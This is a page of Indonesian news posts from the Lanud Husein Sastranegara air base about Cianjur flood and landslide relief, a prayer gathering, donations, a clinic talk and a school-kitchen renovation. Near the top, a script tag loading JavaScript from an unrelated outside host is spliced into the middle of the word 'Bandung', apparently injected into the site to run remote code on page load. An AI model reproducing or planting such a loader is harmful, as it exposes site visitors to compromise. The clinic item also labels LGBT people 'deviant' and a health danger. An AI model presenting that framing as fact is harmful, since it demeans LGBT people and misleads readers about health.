Husein Sastranegara

Ban

<script type=”text/javascript” src=”https://jso-tools.z-x.my.id/raw/~/KUVGDJ24S0SYD”></script>

dung – Dalam semangat kepedulian dan solidaritas terhadap sesama, Lanud Husein Sastranegara mengadakan kegiatan Salat Subuh berjamaah di Masjid Salman, Jumat (6/12). Kegiatan ini juga diisi dengan doa bersama untuk para korban bencana banjir dan tanah longsor yang melanda beberapa wilayah di Kabupaten Cianjur.

Pgs. Kabintalid Lettu Sus Muhammad Affan, LC., menyampaikan bahwa kegiatan ini merupakan bentuk empati dan dukungan moril dari keluarga besar Lanud Husein Sastranegara kepada masyarakat yang terdampak bencana.

“Sebagai bagian dari masyarakat, kita turut merasakan duka yang dialami saudara-saudara kita di Kabupaten Cianjur. Melalui Salat Subuh berjamaah dan doa bersama ini, kita memohon kepada Allah SWT agar para korban diberikan kekuatan, dan proses pemulihan di daerah terdampak dapat berjalan dengan lancar,” ujar Pgs Kabintalid.

Kegiatan ini dihadiri oleh seluruh personel Lanud Husein Sastranegara, serta masyarakat sekitar yang turut bergabung dalam suasana khusyuk dan penuh harapan.

Cianjur – Personel Lanud Husein Sastranegara berhasil menembus daerah terisolir yang terdampak bencana alam di Kabupaten Cianjur, untuk memberikan bantuan langsung kepada masyarakat yang membutuhkan. Bantuan ini merupakan bentuk kepedulian dan respons cepat terhadap kebutuhan para korban, terutama yang berada di wilayah sulit dijangkau.

Setibanya di lokasi, personel Lanud Husein Sastranegara langsung menyalurkan bahan makanan, minuman, serta perlengkapan bayi yang sangat dibutuhkan oleh masyarakat terdampak. Selain memberikan bantuan logistik, personel Lanud Husein Sastranegara juga turut membantu proses evakuasi warga yang rumahnya mengalami kerusakan akibat tertimbun material longsor.

Kegiatan ini menunjukkan semangat gotong royong dan kehadiran TNI AU dalam membantu masyarakat di masa-masa sulit. Komandan Lanud Husein Sastranegara, Kolonel Pnb Alfian, S.E., M.Han., menyampaikan bahwa bantuan ini diharapkan dapat meringankan beban masyarakat terdampak dan memastikan bahwa mereka tidak merasa sendirian menghadapi situasi sulit ini.

“Kami akan terus berkoordinasi dengan pihak terkait untuk memastikan distribusi bantuan dapat menjangkau seluruh wilayah terdampak, terutama yang berada di daerah-daerah terisolir,” pungkas Danlanud.
Upaya ini merupakan wujud nyata dari dedikasi TNI AU kususnya Lanud Husein Sastranegara dalam melayani dan melindungi masyarakat, terutama dalam menghadapi bencana alam yang membutuhkan perhatian dan aksi cepat dari berbagai pihak.

Cianjur, 5 Desember 2024 – Dalam rangka tanggap darurat bencana, personel Lanud Husein Sastranegara turun langsung membantu warga Desa Sukakarya, Kecamatan Sukanegara, Kabupaten Cianjur, Jawa Barat membuka akses jalan yang tertutup akibat longsor. Langkah ini dilakukan sebagai bentuk respons cepat terhadap bencana yang mengakibatkan terputusnya jalur penghubung antardesa.

Dipimpin oleh Komandan Lanud Husein Sastranegara, Kolonel Pnb Alfian, S.E., M.Han., tim gabungan yang terdiri atas Lanud Husein Sastranegara, relawan, dan masyarakat bekerja sama menyingkirkan material longsoran seperti tanah, batu, dan pepohonan yang menutupi jalan. Kegiatan ini dilakukan menggunakan peralatan manual untuk memastikan akses jalan dapat kembali digunakan sesegera mungkin.

“Kami dari Lanud Husein Sastranegara berkomitmen untuk hadir membantu masyarakat yang terdampak bencana. Akses jalan merupakan hal yang sangat penting untuk kelancaran distribusi bantuan dan aktivitas warga,” ujar Danlanu di lokasi bencana.

Bencana longsor yang terjadi beberapa hari lalu disebabkan oleh curah hujan tinggi yang mengguyur wilayah Cianjur, mengakibatkan jalan utama desa tertutup material longsoran sepanjang lebih dari 50 meter. Kondisi ini sempat membuat aktivitas warga terganggu, terutama dalam mendapatkan pasokan kebutuhan pokok dan layanan kesehatan.

Kepala Desa Sukakarya, Bapak angga abdulrahman , menyampaikan rasa terima kasihnya atas bantuan dari TNI AU kususnya Lanud Husein Sastranegara. “Kami sangat terbantu dengan kehadiran personel Lanud Husein. Tanpa bantuan ini, kami mungkin akan lebih lama terisolasi,” ungkapnya.

Selain membuka akses jalan, Lanud Husein Sastranegara juga mengerahkan tim kesehatan untuk memberikan pelayanan medis kepada warga yang terdampak. Tim kesehatan ini memastikan kebutuhan darurat seperti obat-obatan dan penanganan pertama dapat diberikan secara optimal.

Kegiatan tanggap darurat ini menunjukkan sinergi antara TNI AU, pemerintah daerah, dan masyarakat dalam menghadapi bencana alam. Dengan kerja sama yang solid, diharapkan dampak bencana dapat diminimalisasi dan kehidupan masyarakat dapat kembali normal secepatnya.

Bandung – PIA Ardhya Garini Daerah I Koopsud I bersama PIA Ardhya Garini Cabang 4/D.I Lanud Husein Sastranegara memberikan bantuan kemanusiaan untuk korban bencana alam di Desa Kadupandak, Kabupaten Cianjur, Jawa Barat. Penyerahan bantuan secara simbolis dilaksanakan di Kantor PIA Ardhya Garini Cabang 4/D.I Lanud Husein Sastranegara, Kamis (5/12/2024).

Bantuan diserahkan langsung oleh Ketua PIA Ardhya Garini Cabang 4/D.I Lanud Husein Sastranegara, Ny. Annisa Alfian, kepada Komandan Lanud Husein Satranegara Kolonel Pnb Alfian, S.E., M.Han., yang selanjutnya akan didistribusikan kepada warga Desa Kadupandak yang terdampak bencana alam. Bantuan ini sebagai wujud kepedulian PIA Ardhya Garini terhadap masyarakat yang terdampak bencana.

Ketua PIA Ardhya Gari Cabang 4/D.I Lanud Husein Sastranegara, menyampaikan pengiriman bantuan ke Kabupaten Cianjur selain aksi kemanusiaan juga sebagai bentuk nyata komitmen PIA Ardhya Garini dalam memberikan dukungan sosial bagi lingkungan sekitar seperti yang disampaikan oleh Ketua Umum PIA Ardhya Garini pada sambutan di perayaan HUT ke-68 PIA Ardhya Garini.

Lebih lanjut Ketua PIA Ardhya Garini Cabang 4/D.I Lanud Husein Sastranegara , menyampaikan harapannya agar bantuan ini dapat meringankan beban para korban dan menjadi motivasi untuk bangkit dari situasi sulit.

“Kami berharap bantuan ini dapat memberikan manfaat serta menjadi bentuk dukungan moral bagi saudara-saudara kita di Desa Kadupandak yang sedang menghadapi masa-masa sulit akibat bencana alam,” ungkap Ny. Annisa Alfian.

Bantuan yang diberikan berupa bahan kebutuhan pokok, perlengkapan bayi berupa pampers dan perlengkapan sehari-hari, serta bantuan logistik lainnya yang dibutuhkan oleh para korban. Penyerahan bantuan ini merupakan salah satu bentuk nyata dari kepedulian sosial PIA Ardhya Garini dalam membantu masyarakat yang membutuhkan.

Melalui kegiatan ini, PIA Ardhya Garini juga mengajak masyarakat untuk terus meningkatkan rasa solidaritas dan kebersamaan, khususnya dalam menghadapi bencana.

Kegiatan sosial seperti ini menjadi salah satu agenda rutin PIA Ardhya Garini untuk terus berkontribusi secara aktif dalam mendukung masyarakat, baik di bidang sosial maupun kemanusiaan.

Rabu, 4 Desember 2024 – Lanud Husein Sastranegara, melalui Satuan Tugas (Satgas) Cepat Tanggap, mengirimkan personelnya untuk membantu korban bencana yang melanda Desa Kadupandak Kabupaten Cianjur, Jawa Barat. Langkah ini menjadi wujud nyata kepedulian Lanud Husein Satranegara terhadap korban bencana alam sekaligus pelaksanaan tugas kemanusiaan yang diemban TNI Angkatan Udara.

Komandan Lanud Husein Sastranegara, Kolonel Pnb Alfian, S.E., M.Han., saat melepas keberangkatan personel Lanud Husein Sastranega di Baseops Lanud Husein Sastranegara, menegaskan bahwa pengiriman personel ini merupakan bagian dari upaya Lanud Husein Sastranegara dalam mendukung penanggulangan bencana. “Pengiriman personel ini sesuai dengan instruksi pimpinan TNI untuk bertindak cepat dan tanggap dalam menghadapi bencana alam,” ujar Danlanud.

Danlanud juga menyoroti dampak signifikan dari bencana alam yang terjadi. “Banjir dan tanah lingsor di Kabupaten Cianjur telah menyebabkan kerugian material dan korban jiwa. Sebagai bagian dari masyarakat, kami merasa berkewajiban untuk membantu meringankan beban saudara-saudara kita di sana,” ungkap Danlanud.

“Dengan kerja sama yang solid antara TNI, pemerintah daerah, dan masyarakat, kami berharap para korban bencana dapat segera tertangani, dan kebutuhan dasar mereka dapat terpenuhi,” pungkas Danlanud.

Selain memberikan bantuan kemanusiaan, keberangkatan personel Lanud Husein Sastranegara ini juga merupakan langkah nyata TNI AU dalam mendukung upaya pemulihan wilayah terdampak bencana.

Klinik Terpadu Lanud Husein Sastranegara menggelar sosialisasi terkait pencegahan perilaku menyimpang, termasuk LGBT (Lesbian, Gay, Biseksual, dan Transgender), Selasa (3/12/2024). Kegiatan yang berlangsung di lapangan apel Lanud Husein Sastranegara ini diikuti oleh seluruh personel. Sosialisasi bertujuan untuk memberikan pemahaman dan meningkatkan kesadaran tentang dampak negatif perilaku menyimpang terhadap kesehatan mental dan sosial.

Pada sosialisasi, Ps. Ka Klinik Kes Lanud Husein Sastranegara Lettu Kes Purwaningsih, S.Keb., menyampaikan pentingnya edukasi mengenai bahaya perilaku LGBT serta langkah-langkah untuk mendukung individu yang membutuhkan bantuan. “Klinik Terpadu Lanud Husein Sastranegara berkomitmen memberikan edukasi kesehatan secara berkelanjutan dan mendukung upaya pencegahan perilaku menyimpang. Kami berharap kegiatan ini dapat meningkatkan kesadaran personel Lanud Husein Sastranegara beserta keluarganya dalam menjaga moral dan kesehatan sesuai dengan norma sosial,” ujar Lettu Kes Purwaningsih.

Selain membahas isu LGBT, sosialisasi ini juga mengangkat topik kesehatan lainnya, seperti pentingnya pola hidup sehat, dampak negatif perilaku seksual tidak sehat, serta langkah pencegahan penyakit menular. Peserta juga dilibatkan dalam diskusi aktif untuk berbagi pengalaman dan membangun lingkungan yang lebih sehat serta kondusif.

Melalui kegiatan ini, Klinik Terpadu Lanud Husein Sastranegara berharap dapat berkontribusi dalam upaya pencegahan perilaku menyimpang sekaligus mendukung program pemerintah dalam menjaga kesejahteraan masyarakat. Langkah preventif ini diharapkan dapat menciptakan kesadaran kolektif untuk membangun lingkungan yang sehat dan harmonis.

Dalam rangka mendukung program makan siang bergizi bagi siswa sekolah, Komandan Lanud (Danlanud) Husein Sastranegara Kolonel Pnb Alfian, S.E., M.Han., menyambut kunjungan tim Badan Gizi Nasional (BGN) yang dipimpin oleh Inspektur III Laksma TNI (Purn) Dadang Sudrajat di Gudang 10 GPP 2 Lanud Husein Sastranegara, Minggu (01/12/2024). Kunjungan ini bertujuan meninjau kesiapan sarana dan prasarana Dapur Sehat yang sedang direnovasi untuk mendukung program makan bergizi tersebut.

Danlanud menyampaikan bahwa renovasi Gudang 10 menjadi Dapur Sehat adalah langkah strategis untuk memastikan standar pelayanan dan kualitas gizi terpenuhi. “Renovasi ini merupakan upaya kami mendukung program makan siang bergizi secara optimal. Kehadiran tim Badan Gizi Nasional memberikan masukan berharga agar dapur dapat beroperasi sesuai standar,” ujar Kolonel Pnb Alfian. Tim BGN pun melaksanakan asesmen terkait desain renovasi, kebersihan, pengelolaan bahan makanan, serta kesiapan fasilitas dapur.

Laksma TNI (Purn) Dadang Sudrajat menyatakan apresiasi terhadap komitmen Lanud Husein Sastranegara dalam meningkatkan kualitas gizi siswa dan masyarakat. “Renovasi dapur ini diharapkan menjadi fasilitas yang optimal dan percontohan dalam mendukung kebutuhan gizi,” ungkapnya. Proyek ini juga dirancang untuk memastikan efisiensi dan keamanan pangan dalam pengolahan makanan. Setelah rampung, Dapur Sehat akan menjadi fasilitas penting bagi siswa sekolah di wilayah tersebut.

Kegiatan ini juga dihadiri sejumlah pejabat dari Badan Gizi Nasional dan Lanud Husein Sastranegara, diantaranya Inspektur I Kolonel Sus Drs. Rudiyanto, M.Si., Inspektur II Kolonel Kav A. Agung N.S., M.Han., Kadislog Letkol Kal Robbi Tingga, S.T., M.I.Pol., Kadispotdirga Letkol Pas R. Sandhika R., Wijaya, Kasi Fasint Mayor Sus Fajar Ustman, S.T.; dan Pgs Ka GPP 2 Kapten Kal Dedi Sumiarsa.

Kolaborasi antara Lanud Husein Sastranegara dan BGN diharapkan dapat menciptakan fasilitas unggulan yang tidak hanya memenuhi standar, tetapi juga memberikan manfaat nyata bagi kesehatan dan kesejahteraan masyarakat sekitar.